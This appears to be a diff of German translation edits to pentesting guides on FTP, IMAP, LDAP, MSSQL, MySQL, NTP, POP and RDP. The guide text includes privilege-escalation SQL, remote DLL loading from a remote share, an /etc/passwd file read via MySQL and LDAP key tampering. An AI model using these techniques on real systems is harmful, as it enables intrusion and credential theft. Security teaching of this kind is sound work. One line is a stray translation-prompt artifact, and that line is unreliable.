Wie auch immer, hier hast du ein [altes Beispiel, wie man dies ausnutzen kann, um einen FTP-Server eine Datei von einem anderen FTP-Server herunterladen zu lassen.](ftp-bounce-download-2oftp-file.md)
|
||||
|
||||
## Filezilla-Server-Sicherheitsanfälligkeit
|
||||
|
||||
**FileZilla** bindet normalerweise **lokal** einen **Administrationsdienst** für den **FileZilla-Server** (Port 14147). Wenn Sie einen **Tunnel** von **Ihrem Rechner** zu diesem Port erstellen können, können Sie sich mit einem **leeren Passwort** verbinden und einen **neuen Benutzer** für den FTP-Dienst erstellen.
|
||||
**FileZilla** bindet normalerweise einen **administrativen Dienst** für den **FileZilla-Server** (Port 14147) an **lokal**. Wenn du einen **Tunnel** von **deinem Rechner** zu diesem Port erstellen kannst, kannst du dich mit einem **leeren Passwort** verbinden und einen **neuen Benutzer** für den FTP-Dienst erstellen.
|
||||
|
||||
## Konfigurationsdateien
|
||||
```
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
## Internet Message Access Protocol
|
||||
|
||||
Das **Internet Message Access Protocol (IMAP)** wurde entwickelt, um Benutzern zu ermöglichen, **auf ihre E-Mail-Nachrichten von jedem Standort aus** zuzugreifen, hauptsächlich über eine Internetverbindung. Im Wesentlichen werden E-Mails **auf einem Server gespeichert**, anstatt heruntergeladen und auf einem persönlichen Gerät gespeichert zu werden. Das bedeutet, dass beim Zugriff auf oder Lesen einer E-Mail dies **direkt vom Server** erfolgt. Diese Fähigkeit ermöglicht die Bequemlichkeit, E-Mails von **mehreren Geräten** aus zu überprüfen, sodass keine Nachrichten verpasst werden, unabhängig von dem verwendeten Gerät.
|
||||
Das **Internet Message Access Protocol (IMAP)** wurde entwickelt, um Benutzern zu ermöglichen, **auf ihre E-Mail-Nachrichten von jedem Standort** zuzugreifen, hauptsächlich über eine Internetverbindung. Im Wesentlichen werden E-Mails **auf einem Server gespeichert**, anstatt heruntergeladen und auf einem persönlichen Gerät gespeichert zu werden. Das bedeutet, dass beim Zugriff auf oder Lesen einer E-Mail dies **direkt vom Server** erfolgt. Diese Fähigkeit ermöglicht die Bequemlichkeit, E-Mails von **mehreren Geräten** zu überprüfen, sodass keine Nachrichten verpasst werden, unabhängig von dem verwendeten Gerät.
|
||||
|
||||
Standardmäßig funktioniert das IMAP-Protokoll über zwei Ports:
|
||||
|
||||
@ -120,7 +120,7 @@ Es ist auch möglich, `UID` (eindeutige ID) zu verwenden, um auf Nachrichten zuz
|
||||
curl -k 'imaps://1.2.3.4/INBOX' -X 'UID SEARCH ALL' --user user:pass
|
||||
curl -k 'imaps://1.2.3.4/INBOX;UID=1' --user user:pass
|
||||
```
|
||||
Es ist auch möglich, nur Teile einer Nachricht herunterzuladen, z.B. Betreff und Absender der ersten 5 Nachrichten (das `-v` ist erforderlich, um den Betreff und den Absender anzuzeigen):
|
||||
Es ist auch möglich, nur Teile einer Nachricht herunterzuladen, z. B. Betreff und Absender der ersten 5 Nachrichten (das `-v` ist erforderlich, um den Betreff und den Absender anzuzeigen):
|
||||
```bash
|
||||
$ curl -k 'imaps://1.2.3.4/INBOX' -X 'FETCH 1:5 BODY[HEADER.FIELDS (SUBJECT FROM)]' --user user:pass -v 2>&1 | grep '^<'
|
||||
```
|
||||
|
||||
@ -6,9 +6,9 @@ Die Verwendung von **LDAP** (Lightweight Directory Access Protocol) dient haupts
|
||||
|
||||
LDAP-Verzeichnisse sind so strukturiert, dass sie über mehrere Server verteilt werden können, wobei jeder Server eine **replizierte** und **synchronisierte** Version des Verzeichnisses beherbergt, die als Directory System Agent (DSA) bezeichnet wird. Die Verantwortung für die Bearbeitung von Anfragen liegt vollständig beim LDAP-Server, der bei Bedarf mit anderen DSAs kommunizieren kann, um eine einheitliche Antwort an den Anforderer zu liefern.
|
||||
|
||||
Die Organisation des LDAP-Verzeichnisses ähnelt einer **Baumhierarchie, die mit dem Wurzelverzeichnis an der Spitze beginnt**. Dies verzweigt sich zu Ländern, die weiter in Organisationen unterteilt werden, und dann in organisatorische Einheiten, die verschiedene Abteilungen oder Bereiche repräsentieren, bis hin zur Ebene der einzelnen Entitäten, einschließlich sowohl Personen als auch gemeinsam genutzten Ressourcen wie Dateien und Druckern.
|
||||
Die Organisation des LDAP-Verzeichnisses ähnelt einer **Baumhierarchie, die mit dem Stammverzeichnis an der Spitze beginnt**. Dies verzweigt sich zu Ländern, die weiter in Organisationen unterteilt werden, und dann in organisatorische Einheiten, die verschiedene Abteilungen oder Bereiche repräsentieren, bis hin zur Ebene der einzelnen Entitäten, einschließlich sowohl Personen als auch gemeinsam genutzten Ressourcen wie Dateien und Druckern.
|
||||
|
||||
**Standardport:** 389 und 636 (ldaps). Der Globale Katalog (LDAP in ActiveDirectory) ist standardmäßig auf den Ports 3268 und 3269 für LDAPS verfügbar.
|
||||
**Standardport:** 389 und 636(ldaps). Der Globale Katalog (LDAP in ActiveDirectory) ist standardmäßig auf den Ports 3268 und 3269 für LDAPS verfügbar.
|
||||
```
|
||||
PORT STATE SERVICE REASON
|
||||
389/tcp open ldap syn-ack
|
||||
@ -16,7 +16,7 @@ PORT STATE SERVICE REASON
|
||||
```
|
||||
### LDAP-Daten-Austauschformat
|
||||
|
||||
LDIF (LDAP-Daten-Austauschformat) definiert den Verzeichnisinhalt als eine Menge von Datensätzen. Es kann auch Aktualisierungsanfragen (Hinzufügen, Ändern, Löschen, Umbenennen) darstellen.
|
||||
LDIF (LDAP-Daten-Austauschformat) definiert den Verzeichnisinhalt als eine Menge von Datensätzen. Es kann auch Aktualisierungsanfragen darstellen (Hinzufügen, Ändern, Löschen, Umbenennen).
|
||||
```bash
|
||||
dn: dc=local
|
||||
dc: local
|
||||
@ -52,7 +52,7 @@ phone: 23627387495
|
||||
|
||||
## Daten schreiben
|
||||
|
||||
Beachten Sie, dass Sie, wenn Sie Werte ändern können, wirklich interessante Aktionen durchführen könnten. Stellen Sie sich zum Beispiel vor, dass Sie **die "sshPublicKey"-Informationen** Ihres Benutzers oder eines beliebigen Benutzers ändern können. Es ist sehr wahrscheinlich, dass, wenn dieses Attribut existiert, **ssh die öffentlichen Schlüssel von LDAP liest**. Wenn Sie den öffentlichen Schlüssel eines Benutzers ändern können, **werden Sie sich als dieser Benutzer anmelden können, selbst wenn die Passwortauthentifizierung in ssh nicht aktiviert ist**.
|
||||
Beachten Sie, dass Sie, wenn Sie Werte ändern können, wirklich interessante Aktionen durchführen könnten. Stellen Sie sich vor, dass Sie **die "sshPublicKey"-Informationen** Ihres Benutzers oder eines beliebigen Benutzers ändern können. Es ist sehr wahrscheinlich, dass, wenn dieses Attribut existiert, **ssh die öffentlichen Schlüssel von LDAP liest**. Wenn Sie den öffentlichen Schlüssel eines Benutzers ändern können, **werden Sie sich als dieser Benutzer anmelden können, selbst wenn die Passwortauthentifizierung in ssh nicht aktiviert ist**.
|
||||
```bash
|
||||
# Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/
|
||||
>>> import ldap3
|
||||
@ -87,7 +87,7 @@ Allerdings mussten Administratoren möglicherweise **eine bestimmte Anwendung ei
|
||||
|
||||
## Gültige Anmeldeinformationen
|
||||
|
||||
Wenn Sie gültige Anmeldeinformationen zum Anmelden am LDAP-Server haben, können Sie alle Informationen über den Domain Admin mit:
|
||||
Wenn Sie gültige Anmeldeinformationen zum Anmelden am LDAP-Server haben, können Sie alle Informationen über den Domain-Admin mit:
|
||||
|
||||
[ldapdomaindump](https://github.com/dirkjanm/ldapdomaindump) dumpen.
|
||||
```bash
|
||||
@ -110,7 +110,7 @@ nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials
|
||||
|
||||
<summary>Siehe LDAP-Aufzählung mit Python</summary>
|
||||
|
||||
Sie können versuchen, **ein LDAP mit oder ohne Anmeldeinformationen mit Python aufzulisten**: `pip3 install ldap3`
|
||||
Sie können versuchen, **ein LDAP mit oder ohne Anmeldeinformationen unter Verwendung von Python aufzulisten**: `pip3 install ldap3`
|
||||
|
||||
Versuchen Sie zuerst, sich **ohne** Anmeldeinformationen zu verbinden:
|
||||
```bash
|
||||
@ -121,7 +121,7 @@ Versuchen Sie zuerst, sich **ohne** Anmeldeinformationen zu verbinden:
|
||||
True
|
||||
>>> server.info
|
||||
```
|
||||
Wenn die Antwort `True` ist, wie im vorherigen Beispiel, können Sie einige **interessante Daten** des LDAP (wie den **Namenskontext** oder **Domänennamen**) Servers von:
|
||||
Wenn die Antwort `True` ist, wie im vorherigen Beispiel, können Sie einige **interessante Daten** des LDAP (wie den **Namenskontext** oder **Domänennamen**) Servers von erhalten:
|
||||
```bash
|
||||
>>> server.info
|
||||
DSA info (from DSE):
|
||||
@ -205,11 +205,11 @@ ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Dom
|
||||
```bash
|
||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||
```
|
||||
**Enterprise Admins** extrahieren:
|
||||
**Enterprise Admins**:
|
||||
```bash
|
||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||
```
|
||||
**Administratoren**:
|
||||
Extrahieren **Administratoren**:
|
||||
```bash
|
||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||
```
|
||||
@ -274,7 +274,7 @@ done
|
||||
|
||||
### Apache Directory
|
||||
|
||||
[**Laden Sie Apache Directory hier herunter**](https://directory.apache.org/studio/download/download-linux.html). Sie finden ein [Beispiel, wie Sie dieses Tool verwenden können, hier](https://www.youtube.com/watch?v=VofMBg2VLnw&t=3840s).
|
||||
[**Laden Sie Apache Directory hier herunter**](https://directory.apache.org/studio/download/download-linux.html). Sie finden ein [Beispiel, wie man dieses Tool verwendet, hier](https://www.youtube.com/watch?v=VofMBg2VLnw&t=3840s).
|
||||
|
||||
### jxplorer
|
||||
|
||||
@ -286,7 +286,7 @@ Standardmäßig wird es installiert in: _/opt/jxplorer_
|
||||
|
||||
### Godap
|
||||
|
||||
Godap ist eine interaktive Terminalbenutzeroberfläche für LDAP, die verwendet werden kann, um mit Objekten und Attributen in AD und anderen LDAP-Servern zu interagieren. Es ist für Windows, Linux und MacOS verfügbar und unterstützt einfache Bindungen, Pass-the-Hash, Pass-the-Ticket & Pass-the-Cert sowie mehrere andere spezialisierte Funktionen wie Suchen/Erstellen/Ändern/Löschen von Objekten, Hinzufügen/Entfernen von Benutzern aus Gruppen, Ändern von Passwörtern, Bearbeiten von Objektberechtigungen (DACLs), Modifizieren von Active-Directory-Integrated DNS (ADIDNS), Exportieren in JSON-Dateien usw.
|
||||
Godap ist eine interaktive Terminalbenutzeroberfläche für LDAP, die verwendet werden kann, um mit Objekten und Attributen in AD und anderen LDAP-Servern zu interagieren. Es ist für Windows, Linux und MacOS verfügbar und unterstützt einfache Bindungen, Pass-the-Hash, Pass-the-Ticket & Pass-the-Cert, zusammen mit mehreren anderen spezialisierten Funktionen wie Suchen/Erstellen/Ändern/Löschen von Objekten, Hinzufügen/Entfernen von Benutzern aus Gruppen, Ändern von Passwörtern, Bearbeiten von Objektberechtigungen (DACLs), Modifizieren von Active-Directory-Integrated DNS (ADIDNS), Exportieren in JSON-Dateien usw.
|
||||
|
||||
|
||||
|
||||
|
||||
@ -30,7 +30,7 @@ nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config
|
||||
msf> use auxiliary/scanner/mssql/mssql_ping
|
||||
```
|
||||
> [!NOTE]
|
||||
> Wenn Sie **keine Anmeldeinformationen** haben, können Sie versuchen, diese zu erraten. Sie können nmap oder metasploit verwenden. Seien Sie vorsichtig, Sie können **Konten sperren**, wenn Sie mehrmals mit einem vorhandenen Benutzernamen fehlerhaft anmelden.
|
||||
> Wenn Sie **keine Anmeldeinformationen** haben, können Sie versuchen, diese zu erraten. Sie können nmap oder metasploit verwenden. Seien Sie vorsichtig, Sie können **Konten sperren**, wenn Sie mehrmals mit einem vorhandenen Benutzernamen fehlgeschlagen sind.
|
||||
|
||||
#### Metasploit (benötigt Anmeldeinformationen)
|
||||
```bash
|
||||
@ -366,7 +366,7 @@ Use master;
|
||||
EXEC sp_helprotect 'xp_regread';
|
||||
EXEC sp_helprotect 'xp_regwrite';
|
||||
```
|
||||
Für **weitere Beispiele** siehe die [**ursprüngliche Quelle**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/).
|
||||
Für **weitere Beispiele** siehe die [**originale Quelle**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/).
|
||||
|
||||
### RCE mit MSSQL Benutzerdefinierter Funktion - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
|
||||
|
||||
@ -376,11 +376,11 @@ Es ist möglich, eine **.NET dll innerhalb von MSSQL mit benutzerdefinierten Fun
|
||||
|
||||
### RCE mit `autoadmin_task_agents`
|
||||
|
||||
Laut [**diesem Beitrag**](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp) ist es auch möglich, eine entfernte dll zu laden und MSSQL dazu zu bringen, sie mit etwas wie auszuführen:
|
||||
Laut [**diesem Beitrag**](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp) ist es auch möglich, eine entfernte dll zu laden und MSSQL dazu zu bringen, sie mit etwas wie:
|
||||
```sql
|
||||
update autoadmin_task_agents set task_assembly_name = "class.dll", task_assembly_path="\\remote-server\\ping.dll",className="Class1.Class1";
|
||||
```
|
||||
Mit:
|
||||
Bitte geben Sie den Text ein, den Sie übersetzen möchten.
|
||||
```csharp
|
||||
using Microsoft.SqlServer.SmartAdmin;
|
||||
using System;
|
||||
@ -438,7 +438,7 @@ Es gibt andere Methoden, um Befehlsausführung zu erhalten, wie das Hinzufügen
|
||||
|
||||
### Von db_owner zu sysadmin
|
||||
|
||||
Wenn ein **normaler Benutzer** die Rolle **`db_owner`** über die **Datenbank, die einem Admin**-Benutzer (wie **`sa`**) gehört, erhält und diese Datenbank als **`trustworthy`** konfiguriert ist, kann dieser Benutzer diese Berechtigungen missbrauchen, um **privesc** zu erreichen, da **Stored Procedures**, die dort erstellt wurden, als der Eigentümer (**Admin**) **ausgeführt** werden können.
|
||||
Wenn ein **normaler Benutzer** die Rolle **`db_owner`** über die **Datenbank eines Admin-Benutzers** (wie **`sa`**) erhält und diese Datenbank als **`trustworthy`** konfiguriert ist, kann dieser Benutzer diese Privilegien missbrauchen, um **privesc** zu erreichen, da **stored procedures**, die dort erstellt werden, als der Eigentümer (**Admin**) **ausgeführt** werden können.
|
||||
```sql
|
||||
# Get owners of databases
|
||||
SELECT suser_sname(owner_sid) FROM sys.databases
|
||||
@ -472,7 +472,7 @@ EXEC sp_elevate_me
|
||||
--3. Verify your user is a sysadmin
|
||||
SELECT is_srvrolemember('sysadmin')
|
||||
```
|
||||
Sie können ein **metasploit**-Modul verwenden:
|
||||
Sie können ein **metasploit** Modul verwenden:
|
||||
```bash
|
||||
msf> use auxiliary/admin/mssql/mssql_escalate_dbowner
|
||||
```
|
||||
@ -482,7 +482,7 @@ Oder ein **PS**-Skript:
|
||||
Import-Module .Invoke-SqlServerDbElevateDbOwner.psm1
|
||||
Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlServerInstance 10.2.2.184
|
||||
```
|
||||
### Identitätsübernahme anderer Benutzer
|
||||
### Nachahmung anderer Benutzer
|
||||
|
||||
SQL Server hat eine spezielle Berechtigung, die **`IMPERSONATE`** genannt wird, die **es dem ausführenden Benutzer ermöglicht, die Berechtigungen eines anderen Benutzers** oder Logins zu übernehmen, bis der Kontext zurückgesetzt wird oder die Sitzung endet.
|
||||
```sql
|
||||
@ -505,7 +505,7 @@ enum_links
|
||||
use_link [NAME]
|
||||
```
|
||||
> [!NOTE]
|
||||
> Wenn Sie einen Benutzer nachahmen können, auch wenn er kein Sysadmin ist, sollten Sie überprüfen, **ob der Benutzer Zugriff** auf andere **Datenbanken** oder verknüpfte Server hat.
|
||||
> Wenn Sie einen Benutzer nachahmen können, auch wenn er kein Sysadmin ist, sollten Sie überprüfen, **ob der Benutzer Zugriff hat** auf andere **Datenbanken** oder verlinkte Server.
|
||||
|
||||
Beachten Sie, dass Sie, sobald Sie Sysadmin sind, jeden anderen nachahmen können:
|
||||
```sql
|
||||
@ -537,21 +537,21 @@ Ein Angreifer kann Passwörter von SQL Server Linked Servers aus den SQL-Instanz
|
||||
|
||||
Einige Anforderungen und Konfigurationen müssen vorgenommen werden, damit dieser Exploit funktioniert. Zunächst müssen Sie Administratorrechte auf dem Computer haben oder die Fähigkeit, die SQL Server-Konfigurationen zu verwalten.
|
||||
|
||||
Nachdem Sie Ihre Berechtigungen validiert haben, müssen Sie drei Dinge konfigurieren, die wie folgt sind:
|
||||
Nachdem Sie Ihre Berechtigungen validiert haben, müssen Sie drei Dinge konfigurieren, die Folgendes sind:
|
||||
|
||||
1. Aktivieren Sie TCP/IP auf den SQL Server-Instanzen;
|
||||
2. Fügen Sie einen Startparameter hinzu, in diesem Fall wird ein Trace-Flag hinzugefügt, das -T7806 ist.
|
||||
3. Aktivieren Sie die Remote-Admin-Verbindung.
|
||||
|
||||
Um diese Konfigurationen zu automatisieren, enthält [dieses Repository](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) die benötigten Skripte. Neben einem PowerShell-Skript für jeden Schritt der Konfiguration enthält das Repository auch ein vollständiges Skript, das die Konfigurationsskripte sowie die Extraktion und Entschlüsselung der Passwörter kombiniert.
|
||||
Um diese Konfigurationen zu automatisieren, hat [dieses Repository](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) die benötigten Skripte. Neben einem PowerShell-Skript für jeden Schritt der Konfiguration enthält das Repository auch ein vollständiges Skript, das die Konfigurationsskripte sowie die Extraktion und Entschlüsselung der Passwörter kombiniert.
|
||||
|
||||
Für weitere Informationen verweisen Sie auf die folgenden Links zu diesem Angriff: [Entschlüsseln von MSSQL-Datenbank-Link-Server-Passwörtern](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
|
||||
|
||||
[Fehlerbehebung bei der SQL Server Dedicated Administrator Connection](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)
|
||||
[Fehlerbehebung der SQL Server Dedicated Administrator Connection](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)
|
||||
|
||||
## Lokale Privilegieneskalation
|
||||
|
||||
Der Benutzer, der den MSSQL-Server ausführt, hat das Privilegstoken **SeImpersonatePrivilege** aktiviert.\
|
||||
Der Benutzer, der den MSSQL-Server ausführt, wird das Berechtigungstoken **SeImpersonatePrivilege** aktiviert haben.\
|
||||
Sie werden wahrscheinlich in der Lage sein, **auf Administrator zu eskalieren**, indem Sie eine dieser 2 Seiten folgen:
|
||||
|
||||
{{#ref}}
|
||||
|
||||
@ -111,12 +111,12 @@ Siehe in den Dokumenten die Bedeutung jedes Privilegs: [https://dev.mysql.com/do
|
||||
|
||||
## MySQL willkürliches Lesen von Dateien durch den Client
|
||||
|
||||
Tatsächlich, wenn Sie versuchen, **Daten lokal in eine Tabelle zu laden**, fragt der MySQL- oder MariaDB-Server den **Client, um sie zu lesen** und den Inhalt zu senden. **Wenn Sie also einen MySQL-Client manipulieren können, um sich mit Ihrem eigenen MySQL-Server zu verbinden, können Sie willkürliche Dateien lesen.**\
|
||||
Tatsächlich, wenn Sie versuchen, **Daten lokal in eine Tabelle zu laden**, fragt der MySQL- oder MariaDB-Server den **Client, um sie zu lesen** und den Inhalt zu senden. **Wenn Sie dann einen MySQL-Client manipulieren können, um sich mit Ihrem eigenen MySQL-Server zu verbinden, können Sie willkürliche Dateien lesen.**\
|
||||
Bitte beachten Sie, dass dies das Verhalten ist, das Sie verwenden:
|
||||
```bash
|
||||
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
|
||||
```
|
||||
(Wenn Sie das Wort "local" beachten)\
|
||||
(Beachten Sie das Wort "local")\
|
||||
Denn ohne das "local" können Sie Folgendes erhalten:
|
||||
```bash
|
||||
mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
|
||||
@ -144,11 +144,11 @@ systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=
|
||||
|
||||
In der Konfiguration von MySQL-Diensten werden verschiedene Einstellungen verwendet, um deren Betrieb und Sicherheitsmaßnahmen zu definieren:
|
||||
|
||||
- Die **`user`**-Einstellung wird verwendet, um den Benutzer festzulegen, unter dem der MySQL-Dienst ausgeführt wird.
|
||||
- Die **`user`**-Einstellung wird verwendet, um den Benutzer zu benennen, unter dem der MySQL-Dienst ausgeführt wird.
|
||||
- **`password`** wird angewendet, um das Passwort des MySQL-Benutzers festzulegen.
|
||||
- **`admin_address`** gibt die IP-Adresse an, die auf TCP/IP-Verbindungen über die administrative Netzwerkschnittstelle hört.
|
||||
- Die **`debug`**-Variable zeigt die aktuellen Debugging-Konfigurationen an, einschließlich sensibler Informationen in Protokollen.
|
||||
- **`sql_warnings`** verwaltet, ob Informationszeichenfolgen für Einzelzeilen-INSERT-Anweisungen generiert werden, wenn Warnungen auftreten, die sensible Daten in Protokollen enthalten.
|
||||
- **`sql_warnings`** verwaltet, ob Informationsstrings für Einzelzeilen-INSERT-Anweisungen generiert werden, wenn Warnungen auftreten, die sensible Daten in Protokollen enthalten.
|
||||
- Mit **`secure_file_priv`** wird der Umfang von Datenimport- und -exportoperationen eingeschränkt, um die Sicherheit zu erhöhen.
|
||||
|
||||
### Privilegieneskalation
|
||||
@ -173,7 +173,7 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys
|
||||
|
||||
Wenn der **mysql-Server als root** (oder ein anderer privilegierter Benutzer) läuft, können Sie ihn dazu bringen, Befehle auszuführen. Dazu müssen Sie **benutzerdefinierte Funktionen** verwenden. Um eine benutzerdefinierte Funktion zu erstellen, benötigen Sie eine **Bibliothek** für das Betriebssystem, auf dem mysql läuft.
|
||||
|
||||
Die bösartige Bibliothek, die verwendet werden kann, befindet sich in sqlmap und in metasploit, indem Sie **`locate "*lib_mysqludf_sys*"`** ausführen. Die **`.so`**-Dateien sind **Linux**-Bibliotheken und die **`.dll`** sind die **Windows**-Dateien, wählen Sie die, die Sie benötigen.
|
||||
Die bösartige Bibliothek, die verwendet werden kann, befindet sich in sqlmap und in metasploit, indem Sie **`locate "*lib_mysqludf_sys*"`** ausführen. Die **`.so`**-Dateien sind **Linux**-Bibliotheken und die **`.dll`** sind die für **Windows**, wählen Sie die, die Sie benötigen.
|
||||
|
||||
Wenn Sie diese Bibliotheken **nicht haben**, können Sie entweder **nach ihnen suchen** oder diesen [**linux C-Code**](https://www.exploit-db.com/exploits/1518) herunterladen und **in der verwundbaren Linux-Maschine kompilieren**:
|
||||
```bash
|
||||
|
||||
@ -2,9 +2,9 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Grundinformationen
|
||||
## Grundlegende Informationen
|
||||
|
||||
Das **Network Time Protocol (NTP)** sorgt dafür, dass Computer und Netzwerkgeräte über Netzwerke mit variabler Latenz ihre Uhren genau synchronisieren. Es ist entscheidend für die Aufrechterhaltung einer präzisen Zeitmessung in IT-Betrieb, Sicherheit und Protokollierung. Die Genauigkeit von NTP ist wesentlich, birgt jedoch auch Sicherheitsrisiken, wenn sie nicht ordnungsgemäß verwaltet wird.
|
||||
Das **Network Time Protocol (NTP)** sorgt dafür, dass Computer und Netzwerkgeräte über Netzwerke mit variabler Latenz ihre Uhren genau synchronisieren. Es ist entscheidend für die genaue Zeitmessung in IT-Betrieb, Sicherheit und Protokollierung. Die Genauigkeit von NTP ist wichtig, birgt jedoch auch Sicherheitsrisiken, wenn sie nicht ordnungsgemäß verwaltet wird.
|
||||
|
||||
### Zusammenfassung & Sicherheitstipps:
|
||||
|
||||
@ -13,7 +13,7 @@ Das **Network Time Protocol (NTP)** sorgt dafür, dass Computer und Netzwerkger
|
||||
- **Sicherheitsmaßnahmen**:
|
||||
- Verwenden Sie vertrauenswürdige NTP-Quellen mit Authentifizierung.
|
||||
- Beschränken Sie den Netzwerkzugang zum NTP-Server.
|
||||
- Überwachen Sie die Synchronisation auf Anzeichen von Manipulation.
|
||||
- Überwachen Sie die Synchronisierung auf Anzeichen von Manipulation.
|
||||
|
||||
**Standardport:** 123/udp
|
||||
```
|
||||
@ -42,7 +42,7 @@ nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or brute)" -p 1
|
||||
|
||||
[**Wie NTP DDoS-Angriffe funktionieren**](https://resources.infosecinstitute.com/network-time-protocol-ntp-threats-countermeasures/#gref)
|
||||
|
||||
Das **NTP-Protokoll**, das UDP verwendet, ermöglicht den Betrieb ohne die Notwendigkeit von Handshake-Verfahren, im Gegensatz zu TCP. Diese Eigenschaft wird in **NTP DDoS-Amplifikationsangriffen** ausgenutzt. Hier erstellen Angreifer Pakete mit einer gefälschten Quell-IP, wodurch es so aussieht, als kämen die Angriffsanforderungen vom Opfer. Diese Pakete, die zunächst klein sind, veranlassen den NTP-Server, mit viel größeren Datenmengen zu antworten, wodurch der Angriff verstärkt wird.
|
||||
Das **NTP-Protokoll**, das UDP verwendet, ermöglicht den Betrieb ohne die Notwendigkeit von Handshake-Verfahren, im Gegensatz zu TCP. Diese Eigenschaft wird in **NTP DDoS-Amplifikationsangriffen** ausgenutzt. Hier erstellen Angreifer Pakete mit einer gefälschten Quell-IP, wodurch es so aussieht, als kämen die Angriffsanforderungen vom Opfer. Diese Pakete, die zunächst klein sind, veranlassen den NTP-Server, mit viel größeren Datenmengen zu antworten, was den Angriff verstärkt.
|
||||
|
||||
Der _**MONLIST**_-Befehl, obwohl er selten verwendet wird, kann die letzten 600 Clients melden, die mit dem NTP-Dienst verbunden sind. Während der Befehl selbst einfach ist, hebt sein Missbrauch in solchen Angriffen kritische Sicherheitsanfälligkeiten hervor.
|
||||
```bash
|
||||
|
||||
@ -2,9 +2,9 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Grundinformationen
|
||||
## Grundlegende Informationen
|
||||
|
||||
**Post Office Protocol (POP)** wird als ein Protokoll im Bereich der Computer-Netzwerke und des Internets beschrieben, das für die Extraktion und **Abruf von E-Mails von einem entfernten Mailserver** verwendet wird, um sie auf dem lokalen Gerät zugänglich zu machen. Positioniert innerhalb der Anwendungsschicht des OSI-Modells, ermöglicht dieses Protokoll den Benutzern, E-Mails abzurufen und zu empfangen. Der Betrieb von **POP-Clients** umfasst typischerweise das Herstellen einer Verbindung zum Mailserver, das Herunterladen aller Nachrichten, das Speichern dieser Nachrichten lokal auf dem Client-System und das anschließende Entfernen von ihnen vom Server. Obwohl es drei Iterationen dieses Protokolls gibt, sticht **POP3** als die am häufigsten verwendete Version hervor.
|
||||
**Post Office Protocol (POP)** wird als ein Protokoll im Bereich der Computer-Netzwerke und des Internets beschrieben, das für die Extraktion und **Abruf von E-Mails von einem entfernten Mailserver** verwendet wird, um sie auf dem lokalen Gerät zugänglich zu machen. Positioniert innerhalb der Anwendungsschicht des OSI-Modells, ermöglicht dieses Protokoll den Benutzern, E-Mails abzurufen und zu empfangen. Der Betrieb von **POP-Clients** umfasst typischerweise das Herstellen einer Verbindung zum Mailserver, das Herunterladen aller Nachrichten, das Speichern dieser Nachrichten lokal auf dem Client-System und anschließend das Entfernen von ihnen vom Server. Obwohl es drei Iterationen dieses Protokolls gibt, sticht **POP3** als die am häufigsten verwendete Version hervor.
|
||||
|
||||
**Standardports:** 110, 995(ssl)
|
||||
```
|
||||
|
||||
@ -2,16 +2,17 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Grundlegende Informationen
|
||||
|
||||
Entwickelt von Microsoft, ist das **Remote Desktop Protocol** (**RDP**) darauf ausgelegt, eine grafische Schnittstellenverbindung zwischen Computern über ein Netzwerk zu ermöglichen. Um eine solche Verbindung herzustellen, wird von dem Benutzer Software für den **RDP**-Client verwendet, während der entfernte Computer gleichzeitig Software für den **RDP**-Server betreiben muss. Diese Konfiguration ermöglicht die nahtlose Steuerung und den Zugriff auf die Desktopumgebung eines entfernten Computers, wodurch dessen Schnittstelle im Wesentlichen auf das lokale Gerät des Benutzers gebracht wird.
|
||||
Entwickelt von Microsoft, ist das **Remote Desktop Protocol** (**RDP**) darauf ausgelegt, eine grafische Schnittstellenverbindung zwischen Computern über ein Netzwerk zu ermöglichen. Um eine solche Verbindung herzustellen, wird von dem Benutzer Software für den **RDP**-Client verwendet, während der entfernte Computer gleichzeitig Software für den **RDP**-Server betreiben muss. Diese Konfiguration ermöglicht die nahtlose Steuerung und den Zugriff auf die Desktop-Umgebung eines entfernten Computers, wodurch dessen Schnittstelle im Wesentlichen auf das lokale Gerät des Benutzers gebracht wird.
|
||||
|
||||
**Standardport:** 3389
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
3389/tcp open ms-wbt-server
|
||||
```
|
||||
## Enumeration
|
||||
## Aufzählung
|
||||
|
||||
### Automatisch
|
||||
```bash
|
||||
@ -74,19 +75,19 @@ ts::remote /id:2 #Connect to the session
